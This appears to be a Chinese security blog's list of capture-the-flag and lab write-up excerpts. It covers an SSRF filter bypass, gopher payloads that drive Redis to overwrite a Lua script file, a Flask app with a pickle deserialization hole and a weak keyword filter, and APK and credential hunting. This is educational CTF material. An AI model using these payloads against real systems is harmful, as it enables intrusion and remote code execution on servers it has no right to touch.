[HMV]第一章

一个新发现的靶场hackmyvm,随便拿台靶机试试难度,本期靶机boxing url用户名 这个之前CTF题里遇到过,这里用来绕SSRF的访问域名限制了,用得挺巧妙的。先来看一下代码 <?php if(isset($_GET['url'])){ $url = $_GET['url']; if (!preg_match("/^http[s]?:\/\//", $url)) { $url = "http://" . $url; } if (strpos($url, "http://boxing.hmv") === 0 || strpos($url, "https://boxing.hmv") === 0) { $content = file_get_contents($url); echo $content; } else { echo "Unauthorized URL."; } } ?> 简答来说就是输入的内容会被拼接到http://后,再判断是不是http://boxing.hmv,如果是就读取 逻辑很简单,问题就出在拼接。如果我此时想访问这台机子的127.0.0.1:5000,如果我直接输入就会变成http://127.0.0.1:5000,没法访问。但如果我输入的是http://boxing.hmv@127.0.0.1:5000,这样就既能满足判断条件(因为是strpos位置匹配而不是preg_match这种全匹配),因此就能过 原理可以看这篇靶场笔记的parse_url与curl一栏https://redshome.top/2024/06/30/靶场笔记第十九章/ 特殊字符fuzz 有时候碰到理论上能行但却没有执行结果的时候,确保拼接起来的命令能执行后,要思考的就是是否过滤掉了特殊字符。比如空格、引号这种老黑户 这个时候就可以把空格或者引号的地方fuzz一下换成别的,比如+这个神奇的符号。也许你直接在shell运行不对,但放到web上就对了,原因有可能是apache2启用了Rewrite配置或者php做了str_replace(在本题php里没找到replace,因此猜测是apache2,不过粗略搜索后也没发现,就有点发懵了= =) 放上fuzz的语句供参考 ffuf -u 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000?processName=asdFUZZ-eFUZZid' -w chars.txt -fs 2548 incrontab 简单来说就是一个处理正在监听中的系统事件的程序,而这个程序在这台机子里由一个叫incrontab.sh的脚本运行,用来监听一些事件,其中有一个事件如下 echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab - 意思就是当user.txt被更改权限时触发sos.sh运行 file * 这段指令的意思乍一看就是把所有文件名匹配并填入这个*。而这么做的操作空间就很大了,可以利用file的-f参数来达到读取文件的目的。 file -f fname 这段指令的意思是将fname的内容当作文件名被file处理。而问题就出在如果fname内容不存在,则会出现下面这一幕 ...

February 3, 2025 · 1 min · Red

2025新年红包题 | Writeup

拿到网站后先发现标题有东西,拿来看看 在打开审查元素的时候也发现了一行注释 访问看看 虽然这不重要,但是这很重要 页面信息利用完,感觉没什么进展了,那就扫扫目录吧 访问一下 (可能有人这里会吐槽这跟log有什么关系,但是故意放log就是因为它在dirsearch默认字典里比较靠后,就能让那些扫没两秒就退出的人做不出来^ ^) 留下这个pass,然后访问一下给的hint,来到一个wordpress 发现文章都需要密码,所以开始搜集信息。随便点进一片看一下能不能查看用户名 发现已经被修改过了,那就只能想别的办法。因为是wordpress,所以用wpscan扫一下 发现两个用户名 拿出刚才log页面的pass,需要再解一下 拿dondondonki登陆即可,进来后直接来到文章区域,把每一篇文章都看过去一遍后就能,在“等等,嘶”这篇文章下面发现了这两句话 结合hint1的“ssh不需要爆破”这个提示,推断这个端口应该是ssh端口。那么接下来就是拼接密码的osint过程 首先来看第一张,映入眼帘应该是一张从酒店内往酒店门口拍摄的视角,仔细看一下就能发现这个 根据常识可以得知是香港行政区旗🇭🇰,并且人口为750w小于1000w,因此第一个字符为h 第二篇文章的图片内没有什么文字描述或者明显的特征,只有一些长相比较特殊的植物,所以google搜图随手搜索一下 知道了名字,就问问ai 并且通过图中远处小屋可以推测是木质结构,在中国广西和云南等地才比较常见,不在蜂斗菜适宜生长环境内,因此中国的可能性可以排除。且根据后方地形判断此处以丘陵(300m以下)为主,不符合日本、韩国以山脉为主的地理特征,因此日本韩国也排除。最后就只剩俄罗斯了,人口大于1000万,因此第二个字符为R 第三篇文章,题中唯一存在的文字信息就是石柱上的牌子,但是有点模糊,有些单字需要猜测 大概可以拼出个antonio anostinho neto,直接放到google里可以发现是个人名,Agostinho Neto 并且位于安哥拉,搜索后人口为3393w,字符为A 第四篇文章和第二篇一样可利用信息很少,唯一知道的就是一条又长又笔直的公路和路上的 在上述ai给的地区中,结合图片宽广笔直的道路场景,只有美国和加拿大比较符合特征。 并且这里还设计到一个地区交通小常识,如果你是做osint的新手可以记录下来。就是高速路上单黄虚线更多地出现在加拿大,关于这点的更多解释可以看这篇2022 idek CTF wp中的image13。简单来说,就是google上有关单黄虚线长笔直高速路的搜索结果更多地指向加拿大,少部分位于中国西北和美国北部。因此这篇文章字符为C 第五篇文章,算是比较经典图寻坐标了,就是路边的这个小路标 这里我给大家提供一张geoguessr社区大神们总结出来的路标图作为参考 明显图示路标出现区域为波兰,由于这个路桩的唯一性,因此可以直接推测为波兰。字符为P 第六篇文章应该能算送分题,应该很多人第一眼就猜出是日本。原因就是左上角的制粉店招牌。但其实这并不是能断定是日本的唯一要素,因为这样的繁体字招牌有可能存在东亚地区很多个地方。所以为了严谨一点,我们就按照图寻的玩法排一下。 首先排除中国大陆和香港、澳门,因为这三个地区一个是使用简体,另两个是不可能存在这么长一条路都是空旷低矮的房屋。其次是台湾,这时候就得把图片拉大看一下远处的车辆 会发现这台车牌是黄色的,而通过搜索会发现台湾车牌主要以白色为主 因此最后可以定位到日本,字符为J 最后一篇,首先就是拿这台白车的车牌作为一个大致方位定位 但先不急,还有第二张图。第二张图内容显示是个靠海的国家,并且使用法语,再根据第一张图中有摩托车、棕榈树,并且房屋都比较低矮的特征来看,所在地应该是某个欠发达地区的热带,那么最再结合法语的使用,结合历史常识推测最有可能的就是非洲。并且根据后面的提示可以知道,这个国家曾在20世纪60年代独立,那么范围就更近一步缩小。 先把上世纪60年代独立的国家拉出来问一下ai,有没有符合图述内容的地方 ...

January 31, 2025 · 1 min · Red

软件系统安全赛 CachedVisitor | Writeup

第一次参加这个比赛,本以为是pwn赛,结果没想到是web最无敌的一集(有点可惜没把厦大刷下来= =) 拿到附件先起一个本地服务来打。apple silicon要指定amd64 main.lua的主要逻辑就是将visit.script的代码执行。visit.script的主要逻辑是将输入进来的url地址用lua的curl模块访问。并且会将页面访问结果保存到redis中。思路很简单,就是想办法利用redis来保存一个文件将visit.script覆盖掉,覆盖掉的内容就是要执行的lua反弹shell或者命令执行。 首先要先了解一下redis的一些常用指令和小常识,这里只介绍本题需要用到的 keys * --查看所有键值对 get keyname --查看该键的值 save --将当前 Redis 所有数据保存到文件里。文件名和路径在下面两个命令可以修改 CONFIG SET dbfilename yourfilename.rdb --设置save的文件名 CONFIG SET dir /var/lib/redis --设置save的保存目录 QUIT --退出redis命令行。这个很重要,一会儿就会用到 rdbcompression yes --在附件里给的redis配置文件第461行,主要作用就是开启rdb存储压缩。redis有两种持久化方式,一种叫rdb一种叫aof,有兴趣可以自查。并且,redis所有配置信息都可以在终端中用config get keyname的方式获取到 尝试访问一下file:///etc/passwd可以得到passwd 进容器的redis验证一下有没有把访问内容存下来。发现确实存了下来。 因为redis支持使用gopher协议控制,所以直接先用下面的payload梭一把试试 gopher://localhost:6379/_*2%0D%0A$3%0D%0AGET%0D%0A$18%0D%0Afile:///etc/passwd%0D%0A 这个格式是用gopher访问redis固定的,*2表示这一行命令里有2个参数,$3,$18表示参数长度,并且最后一定要加一个CRLF的换行。厨子编码时要注意把全编码钩上,不然会不符合gopher协议规范(具体原因可以看这篇博客:https://redshome.top/2023/01/13/58/)。现在我们发一波试试。 可以发现换了个timeout回来,当时和队友在这儿卡了有一段时间,一直以为是我语句构造出了问题,以至于错过了前3血= = 直到队友拿着这段payload在命令行尝试直接curl后拿到了下面这样的结果 我便恍然大悟,问题就出在请求成功后没有退出redis终端,于是便搜到了上面所说的QUIT指令。接下来就是改造完的payload gopher://localhost:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%2418%0D%0Afile%3A%2F%2F%2Fetc%2Fpasswd%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A 前后端均访问正常。最后再来测试一下save下来的数据长啥样 嘶,怎么感觉不太正常,好像存下来后和直接输出不太一样。这样可以不行,要是一会儿存下来的lua代码也变成这样那就执行不了了。当时队友“神之一手”一下就反应过来是压缩存储的问题,我们先把压缩存储关掉后再试一遍 无敌了,接下来就是走一遍最开始说的思路。首先是修改一下靶机的dbfilename,dir还有rdbcompression *4 $6 config $3 set $3 dir $8 /scripts *4 $6 config $3 set $10 dbfilename $12 visit.script *4 $6 config $3 set $14 rdbcompression $2 no *1 $4 QUIT gopher://localhost:6379/_%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A%2Fscripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2412%0D%0Avisit%2Escript%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2414%0D%0Ardbcompression%0D%0A%242%0D%0Ano%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A ...

January 6, 2025 · 1 min · Red

2024 楚慧杯 线下awdp web | Writeup

队里有几个成员去打,回来后在群里发了附件,看了一下感觉不难,就决定复现一下 因为不知道具体题目顺序和名字,只有队员给的附件(复现也都是按照队员给的附件内容来,如果同样有参加的师傅发现缺漏,欢迎在评论区告诉我),所以就按照我的做题顺序来排序。同时为了还原真实线下做题场景,不使用在线工具 第一题 攻 首页一个登录框和一个注册,扫一下目录发现有个cache,访问一下得到一个.pyc文件,用pycdc反编译后得到下面代码 # Source Generated with Decompyle++ # File: app.cpython-38.pyc (Python 3.8) from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory import os import pickle import base64 app = Flask(__name__) app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS' USERS_DIR = 'users' if not os.path.exists(USERS_DIR): os.makedirs(USERS_DIR) def register(): Unsupported opcode: BEGIN_FINALLY (97) username = request.form.get('username') password = request.form.get('password') user_data = { 'username': username, 'password': password } user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data') # WARNING: Decompyle incomplete register = app.route('/reg', [ 'POST'], **('methods',))(register) def register_page(): return render_template('register.html') register_page = app.route('/register')(register_page) def login(): Unsupported opcode: BEGIN_FINALLY (97) username = request.form.get('username') password = request.form.get('password') user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data') # WARNING: Decompyle incomplete login = app.route('/login', [ 'POST'], **('methods',))(login) def index(): data = session.get('data', None) if data: data = base64.b64decode(data) if b'R' in data and b'built' in data or b'setstate' in data: return 'hacker???' user_data = None.loads(data) username = user_data['username'] return render_template('index.html', username, **('username',)) return None(url_for('login_page')) index = app.route('/index')(index) def login_page(): return render_template('login.html') login_page = app.route('/')(login_page) def logout(): session.pop('data', None) return redirect(url_for('login_page')) logout = app.route('/logout', [ 'POST'], **('methods',))(logout) def download_cache_file(): cache_file_path = os.path.join('__pycache__', 'app.cpython-38.pyc') if os.path.exists(cache_file_path): return send_from_directory(os.path.dirname(cache_file_path), os.path.basename(cache_file_path), True, **('as_attachment',)) return None download_cache_file = app.route('/cache')(download_cache_file) if __name__ == '__main__': app.run('0.0.0.0', **('host',)) 核心利用逻辑在这里 ...

January 4, 2025 · 5 min · Red

[HTB]第四章

终于到了medium难度,一台靶机能学到的东西更多。本篇靶机为Instant apktools 主要是用来做apk逆向,用法有d(decode)和b(build)两种,d用的更多,因为要解包看有什么内容 grep -R 感觉现在再写grep参数有点水字数的意思= = -R是递归且跟踪软/硬链接 通过apk搜集子域名和token等敏感信息 RT,如果从网站某个角落挖到一个apk,如果这个apk联网,那么大概率是需要链接到某个与网站有关的路径或者子域的。一般会和上面的grep结合起来用 一般带有admin、test等字样的函数也是重点观察对象,有可能存在开发者粗心留下的测试后门 以及“pass,” “pwd,” “user,”等 ssh -i -i后面加identify_file,也就是私钥 这里再补充一个小知识点,一般我们的电脑去连接远端服务器的时候,我们的电脑里存的是私钥而不是公钥,公钥存放在远端服务器里。我们可以通过将本地自己生成的公钥事先放到远端服务器上,随后用 [m]get -r sftp和smbclient中的小窍门,下载文件夹 solar-putty 这是一个类似putty的东西,使用者有可能会留下一些加密过的备份文件在服务器上,如果使用者曾经使用过solar-putty进行ssh登录那么就有可能导致ssh密码泄漏 小tips 说是都要分析一遍,尤其是backup这种敏感文件,但实战中linpeas一扫出来简直不要太眼花缭乱 怎么办呢?其实linpeas扫出来的不一定都是能看到,比如下面这样 如果要一眼看出有什么有用信息,那么权限肯定是最好的切入点。毕竟扫出来多是多但还是得挑能看到 还有一个害我差点重装系统的坑,就是私钥最后一行必须有一个回车,不然就会报这个b错 一度让我怀疑是不是kali的什么东西炸了,结果看到ubuntu给的报错 才去检查格式问题,最后发现私钥最后一行必须加换行 这就是我们ubuntu

December 20, 2024 · 1 min · Red